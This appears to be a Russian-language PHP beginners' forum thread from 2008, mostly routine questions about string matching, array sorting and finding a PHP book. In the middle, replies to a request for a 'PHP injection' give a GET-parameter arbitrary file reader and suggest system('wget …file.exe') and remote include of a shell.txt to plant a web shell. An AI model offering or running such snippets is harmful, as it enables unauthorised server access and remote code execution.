[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    <?
    $txt='Вот это этот текст что нужно';
    if (
    preg_match('/это/',$txt,$t)) echo 'это есть';
    else echo 
    'это нет';
    ?>
     
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Ну ты эстет... strpos в данном случае лучше
     
    _________________________
  3. ronald

    ronald Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    252
    Likes Received:
    42
    Reputations:
    6
    помогите плиз: как составить PHP-инж, чтобы сачать нужный мне файл на сервере
     
    #6623 ronald, 8 Dec 2008
    Last edited: 8 Dec 2008
  4. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,190
    Reputations:
    430
    php Серверный язык ;)
    Вообще какую-то хню написал...(прочти чё таке пиашпи-инж)
     
  5. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    эээ?

    PHP:
    <?php if(!empty($_GET['fx'])) { echo ('<pre>'.@file_get_contents($_GET['fx']).'<pre>'); exit; } ?>
     
  6. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    кавычки нужно екранировать, делается так: \"

    upd: а вобще лучше всю строку в одинарных кавычках, почитай хоть немного мануалы.
     
    #6626 [dei], 8 Dec 2008
    Last edited: 8 Dec 2008
  7. MegaFill

    MegaFill New Member

    Joined:
    8 Dec 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте! Возможно мой вопрос не в тему, но подходящего топика я не нашел. Собственно сабж, откуда можно скачать книжку "PHP 5 для начинающих Мерсер Д". Гугл ничего дельного не выдает...
     
  8. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    нигде. вот тут можно купить электронный вариант http://www.books.ru/shop/books/624878
     
  9. MegaFill

    MegaFill New Member

    Joined:
    8 Dec 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    А почему все так грустно? Неужто в инете за 3 года не появилось ни одного свободного пдф с книжкой?
     
  10. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    ищи коль оптимист :p
     
  11. KillDead

    KillDead New Member

    Joined:
    15 Sep 2008
    Messages:
    31
    Likes Received:
    2
    Reputations:
    0
    Можно посоветовать тупой file_get_contents(URL) и fopen(URL);
    Хотя лучше использовать сокеты http://php.ru/manual/ref.sockets.html и курл http://php.ru/manual/ref.curl.html
     
  12. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Есть двумерный массив вида
    1 a d
    2 b c
    3 c b
    4 d a
    Хочу устроить сортировку как по столбцам.
    Т.е. сортируем по первому нулевому столбику (столбцы пронумерованы допустим от 0 до 3) в обратном порядке, получаем
    4 d a
    3 c b
    2 b c
    1 a d
    Т.е. СТРОКИ таблицы неразбились
    Далее то что получилось сортируем допустим по первому столбику по порядку получим
    1 a d
    2 b c
    3 c b
    4 d a
    Ну и можем сортировать так по любому столбику туда сюда.
    КАК сделать такую сортировку массива на PHP?
    Почитал array_multisort - не то... или неверно почитал :(
     
  13. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    а можно через wget попробовать... если он установлен конечно
    PHP:
    system("wget www.site.com/file.exe");
    так же можно попробовать заинклудить шелл
    PHP:
    include("http://www.site.com/shell.txt");
    и потом через него со своего кумпьютера загрузить нужный файл.
    а вообще способов много
     
  14. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Red_Red1:

    примерно так:

    PHP:
    <?
    /* 
    Есть двумерный массив вида 
    1 a d 
    2 b c 
    3 c b 
    4 d a 
    Хочу устроить сортировку как по столбцам. 
    Т.е. сортируем по первому нулевому столбику (столбцы пронумерованы допустим от 0 до 3) в обратном порядке, получаем 
    4 d a 
    3 c b 
    2 b c 
    1 a d 
    Т.е. СТРОКИ таблицы неразбились 
    Далее то что получилось сортируем допустим по первому столбику по порядку получим 
    1 a d 
    2 b c 
    3 c b 
    4 d a 
    Ну и можем сортировать так по любому столбику туда сюда. 
    КАК сделать такую сортировку массива на PHP? 
    */ 

    $str "a d b c c b d a"
    preg_match_all('/([a-z])/s'$str$result); 
    $count count($result[0]); 
    for (
    $i=0;$i<$count;$i++) 
    {
    echo 
    $result[0][$i].$result[0][$i+1]."\r\n"
    $i++;
    }
    echo 
    "\r\n"
    $count1 count($result[0])-2
    for (
    $i=0;$i<=$count1;$i++) 
    {  
    $result[1][$i] = $result[0][$i+1]; 
    $result[1][$i+1] = $result[0][$i]; 
    $i++; 

    for (
    $i=0;$i<$count;$i++) 
    {
    echo 
    $result[1][$i].$result[1][$i+1]."\r\n"
    $i++;
    }
    echo 
    "\r\n"
    for (
    $i=0;$i<=$count1;$i++) 
    {  
    $result[1][$i] = $result[0][$i]; 
    $result[1][$i+1] = $result[0][$i+1]; 
    $i++; 

    for (
    $i=0;$i<$count;$i++) 
    {
    echo 
    $result[1][$i].$result[1][$i+1]."\r\n"
    $i++;
    }

     
    #6634 Pashkela, 9 Dec 2008
    Last edited: 9 Dec 2008
    4 people like this.
  15. Oozy

    Oozy Banned

    Joined:
    8 Dec 2008
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    Pashkela зачем изобретать велосипед
    Red_Red1 юзай array_reverse()
     
    1 person likes this.
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Мне нравится изобретать велосипеды, т.к. по образованию не программер. Каждый вопрос - ребус.
    Главное - результат:)
     
    #6636 Pashkela, 9 Dec 2008
    Last edited: 9 Dec 2008
  17. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    2 Pashkela
    Спасибо конечно за попытку.
    Но дело в том что мне нужна СОРТИРОВКА МАССИВА.
    Может это некая функция должна быть на вход которой подаем массив, столбик по которому сортируем, направление. На выходе отсортированый массив.

    Может так будет понятнее
    Имеем массив полных имен Фамилия Имя Отчество

    Фамилия Имя Отчество

    1 Иванов Николай Петрович

    2 Сидоров Андрей Алексеевич

    3 Егоров Плюс Плюсович

    4 Петров Тарас Сергеевич

    Нужна сортировка по столбикам, т.е. по фамилии, имени или отчеству. При это ясно что "человек должен остатся" Т.е. Если сортируем по имени то НЕ должно получится Иванов АНДРЕЙ Петрович
    ...
    Видимо нету такой функции в ПХП... придется писать что то подобное.
     
    #6637 Red_Red1, 9 Dec 2008
    Last edited: 9 Dec 2008
  18. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Red_Red1, usort();

    Хотя это скорее задача БД.
     
    1 person likes this.
  19. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 Red_Red1:

    Да принцип тот же самый, только лучше тогда, чтобы массив, если речь идет просто о тексте в текстовом файле, был такой:

    1 Иванов Николай Петрович;

    2 Сидоров Андрей Алексеевич;

    3 Егоров Плюс Плюсович;

    4 Петров Тарас Сергеевич;

    Делаем 1-ый эксплоуд через ";" а потом каждый элемент получившегося массива эксплодим через "цифра_пробел" и смотрим первую букву второго элемента нового массива. А дальше просто и алгоритм примерно такой же. Если надо - могу сделать
     
  20. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Причем тут файлы?! О.о Я ведь про файлы ниче не писал. Есть уже готовый массив.
    $arr[1]['Familiya'] = 'Иванов'
    $arr[1]['Imya'] = 'Николай'
    $arr[1]['Otchestvo'] = 'Петрович'
    и т.д.
    Я просто "нарисовал" его в виде таблицы, так удобнее.
     
Thread Status:
Not open for further replies.